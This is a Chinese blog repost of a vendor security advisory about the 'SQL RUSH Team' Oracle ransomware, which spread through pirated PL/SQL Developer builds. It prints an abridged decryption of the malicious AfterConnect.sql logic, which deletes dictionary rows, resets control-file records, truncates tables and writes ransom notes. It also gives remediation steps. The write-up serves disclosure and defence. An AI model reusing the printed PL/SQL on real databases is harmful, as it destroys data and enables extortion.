【微信公眾號●雲和恩墨】知己知彼-關於Oracle安全比特幣勒索問題揭祕和防範
知己知彼-關於Oracle安全比特幣勒索問題揭祕和防範
風險從來都不是臆想和草木皆兵,就在你不經意的時刻,可能風險就突然降臨到我們的身邊。
近期,國內很多使用者的 Oracle 資料庫,突然遭遇到莫名其妙的攻擊事件,大家種種猜測、揣摩、重試,引發了一次小小的資料恐慌。
在注意到這類安全事件之後,我們第一時間投入分析、採集,最後找出了問題的根源,昨天已經發出了全面的預警和警示,今天再次詳述該類問題,與 Oracle 的使用者們共為警醒。
最近問題的主要原因是某些使用者下載了來源不明的資料庫管理工具,導致資料庫被感染。我們強烈推薦大家提高版權意識,購買正版軟體,遠離風險,從規範做起。
問題症狀:
很多使用者在錄資料庫時發現該問題,資料庫應用彈出"鎖死"提示,並且威脅說需要向黑客傳送5個比特幣方可獲得解鎖。
在客戶端,你可能獲得類似的提示資訊:
在資料庫受攻擊之後,在資料庫的告警日誌中,可能充斥如下資訊:
ORA-00604: error occurred at recursive SQL level 1
ORA-20315: 你的資料庫已被SQL RUSH Team鎖死 傳送5個比特幣到這個地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小寫一致) 之後把你的Oracle SID郵寄地址 sqlrush@mail.com我們將讓你知道如何解鎖你的資料庫
Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.
ORA-06512: at “XXX.DBMS_CORE_INTERNAL ", line 27
ORA-06512: at line 2
這裡無非是一些警示和勒索,但是這兒 SQL RUSH Team,引發了大家的猜測,sqlrush @ mail.com ,這個地址 和 id 引發了對於始作俑者的猜測,當然事實不得而知。
問題原因:
我們通過有限的案例,詳細分析了問題的原因和感染過程,在此披露出來,給 Oracle 的使用者們作為參考。
注意:當一個問題研究清楚之後,就不再會產生恐懼,恐懼來自於未知,在沒有遭到原因之前,大家的各種猜測導致問題擴大化,現在可以回到問題的本質上來了。
問題的根本原因是:如果使用者從網際網路上下載了盜版的 PL/SQL Developer 工具後(尤其是各種綠色版、破解版),就可能因為這個工具中招。所以這個問題和 Oracle 本身關係不大,也沒有注入那麼複雜。而是隨著你使用這個工具,使用者的許可權就自然被附體的進行了入侵。
重要的問題要說三遍:盜版軟體害人!
PL/SQL Developer 在中國的流行程度和盜版程度毋庸置疑。這個軟體的安裝目錄存在一個指令碼檔案 AfterConnect.sql,這個指令碼就是真正的問題所在。
正版軟體安裝,這個指令碼檔案是空檔案,但是被注入的檔案包含了一系列的JOB定義、儲存過程和觸發器定義,就是禍患的源頭。
受感染檔案 - AfterConnect.sql 開頭是這樣的,偽裝成一個 login.sql 的指令碼內容,有清晰的註釋程式碼:
實質內容,以加密方式展示,使用者看不到內容,但是可以通過 unwrap 進行解密(但是注意那些解密程式不要存在惡意程式碼):
無疑,黑客是非常瞭解 Oracle 資料庫的,其指令碼程式碼的核心部分,解密後如下(做了刪節,不要害人):
BEGIN
SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=1200) THEN
EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';
DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;
COMMIT;
EXECUTE IMMEDIATE 'alter system checkpoint';
SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);
FOR I IN 1..2046 LOOP
DBMS_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');
DBMS_SYSTEM.KSDWRT(2, '你的資料庫已被SQL RUSH Team鎖死 傳送5個比特幣到這個地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小寫一致) 之後把你的Oracle SID郵寄地址sqlrush@mail.com 我們將讓你知道如何解鎖你的資料庫 ');
END LOOP;
END IF;
END;
請注意黑客的專業性,在程式的開端有以下部分判斷:
SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=1200) THEN
也就是,判斷資料庫建立時間大於1200天,才開始動作(這個判斷相當有見地,小庫和新庫,資料少不重要,先放長線釣大魚),如果你的資料庫還沒有爆發,那可能是因為時間還沒有到。
我們強烈建議使用者檢查資料庫工具的使用情況,避免使用來歷不明的工具產品。
我們強烈建議:採用正版軟體,規避未知風險。
安全漏洞:
我們知道,幾乎絕大多數資料庫的客戶端工具,在訪問資料庫時,都可以通過指令碼進行一定的功能定義,而這些指令碼往往就是安全問題的漏洞之一。本例的攻擊手段非常初級,但是也非常巧妙。
下載來源不明、漢化來歷不明、破解來歷不明的工具是資料庫管理大忌,以下列出了常見客戶端工具的指令碼位置,需要引起注意:
SQL*Plus: glogin.sql / login.sql
TOAD : toad.ini
PLSQLdeveloper: login.sql / afterconnect.sql
我們強烈建議使用者加強資料庫的許可權管控、生產環境和測試環境隔離,嚴格管控開發和運維工具。
處置建議:
這個攻擊是通過 JOB、觸發器、儲存過程 來協同工具的,所以如果資料庫遭遇到這個問題,可以將 JOB 引數 job_queue_processes 設定為 0 ,遮蔽掉 JOB 的執行,然後重啟資料庫。可以清除注入物件,這些物件可能包括以下同名觸發器和儲存過程:
PROCEDURE "DBMS_CORE_INTERNAL "
PROCEDURE "DBMS_SYSTEM_INTERNAL "
PROCEDURE "DBMS_SUPPORT_INTERNAL "
而攻擊的核心程式碼還包括,這會 Truncate 資料表:
STAT:='truncate table '||USER||'.'||I.TABLE_NAME;
如果您的資料庫已經遭受攻擊和資料損失,可以緊急聯絡雲和恩墨的服務團隊,我們可以幫助您處理資料修復事宜。雲和恩墨久經考驗的ODU產品,可以在資料丟失後最大限度的恢復資料。雲和恩墨的自動化巡檢工具:Bethune(白求恩),內建一項檢查,訪問來源、訪問工具分析,可以幫助使用者梳理清楚你的資料庫使用情況。別猶豫,去 https://bethune.enmotech.com 看看,不收錢。
事件回顧:
-
2015年9月,XcodeGhost入侵蘋果iOS事件在業內引起不小震動。事件起因為不知名黑客向iOS應用開發工具Xcode植入惡意程式,通過網盤和論壇上傳播,被感染的App並以此劫持蘋果使用者相關資訊。來自多個安全團隊資料顯示,病毒感染波及AppStore下載量最高的5000個App其中的76個,保守估計受影響使用者數超過一億。
-
2012年2月,中文版putty等SSH遠端管理工具被曝出存在後門,該後門會自動竊取管理員所輸入的SSH使用者名稱與口令,並將其傳送至指定伺服器上。
About Me
.......................................................................................................................................................................................................................................................................................................... ● 本文來自於微信公眾號轉載文章,若有侵權,請聯絡小麥苗及時刪除,非常感謝原創作者的無私奉獻 ● 本文在itpub(http://blog.itpub.net/26736162)、部落格園(http://www.cnblogs.com/lhrbest)和個人微信公眾號(xiaomaimiaolhr)上有同步更新 ● QQ群:230161599 微信群:私聊 ● 原文地址:http://mp.weixin.qq.com/s?__biz=MjM5MDAxOTk2MQ==&mid=2650272273&idx=1&sn=408c33aab5823908c75bf8f995e4fe1e&chksm=be486a07893fe311b4563b32942bfa2ab763b54970c5e9771f9376e8c7c02c6ac4349a6d4346&mpshare=1&scene=23&srcid=1119E33YyEWY3GO462SBtPqp#rd ● 小麥苗分享的其它資料:http://blog.itpub.net/26736162/viewspace-1624453/ ● 小麥苗雲盤地址:http://blog.itpub.net/26736162/viewspace-1624453/ ● QQ群: 230161599 微信群:私聊 ● 聯絡我請加QQ好友(642808185),註明新增緣由 ● 文章內容來源於小麥苗整理的筆記,若有侵權或不當之處還請諒解! ●【版權所有,文章允許轉載,但須以連結方式註明源地址,否則追究法律責任】 .......................................................................................................................................................................................................................................................................................................... 手機長按下圖識別二維碼或微信客戶端掃描下邊的二維碼來關注小麥苗的微信公眾號:xiaomaimiaolhr,免費學習最實用的資料庫技術。 |
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/26736162/viewspace-2128728/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 微信返利機器人,公眾號騙局揭祕機器人
- 微信公眾號和微信軟文采集網站網站
- 微信公眾平臺搭建與開發揭祕.pdf
- 微信公眾號排版 | 彙總和實戰
- 如何防範和應對Redis勒索,騰訊雲教你出招Redis
- 關於微信公眾號靜默授權和非靜默授權的區別
- 【雲和恩墨】內外兼修:Oracle ACED熊軍談Oracle學習Oracle
- 值得程式設計師和設計師關注的微信公眾號程式設計師
- 【雲和恩墨】一次 truncate 核心表衍生的安全管理思考
- 微信公眾號智慧回答
- 微信公眾號開發
- 微信公眾號系統
- 微信公眾號--入門
- 微信公眾號投票活動製作教程 微信公眾號投票怎麼弄?
- 微信公眾號可以關聯多少個小程式?
- Oracle 表空間和資料檔案遇到的坑 (轉載於 微信公眾號 JieKeXu DBA之路)Oracle
- 微信公眾號開發-分享
- 微信公眾號 檢視地址
- 微信公眾號介面導讀
- .net開發微信公眾號
- 微信公眾號支付全解析
- 【前端】微信公眾號推薦前端
- 微信開發之公眾號
- 從Oracle DBA出發,走進GaussDB的世界 - 雲和恩墨大講堂GaussDB專題Oracle
- 直播回顧 | 雲和恩墨範計傑:Oracle DBA的SQL編寫技能提升寶典(含SQL資源)OracleSQL
- 【雲和恩墨】嵌入雲端:12c Policy-Managed Cluster為Oracle DBaaS助力Oracle
- 【雲和恩墨】Oracle初學者入門指南-什麼是 Metalink 或 MOS ?Oracle
- 微信公眾號-- 微信分享功能(分享到朋友和朋友圈顯示圖片和簡介)
- 基於.net5 wtm框架、uni-app微信公眾號開發一、公眾號授權框架APP
- 雲和恩墨獨家搶先測試In-Memory Option 特性!
- 【微信公眾號】【深入解析】DRM和read-mostly locking
- Python 抓取微信公眾號賬號資訊Python
- [微信公眾號] 配置與應用
- 【微信公眾號】配置與應用
- 爬取微信公眾號文章工具
- 微信公眾號-入門的坑
- 微信公眾號下發紅包 -- PHPPHP
- Nodejs微信公眾號開發NodeJS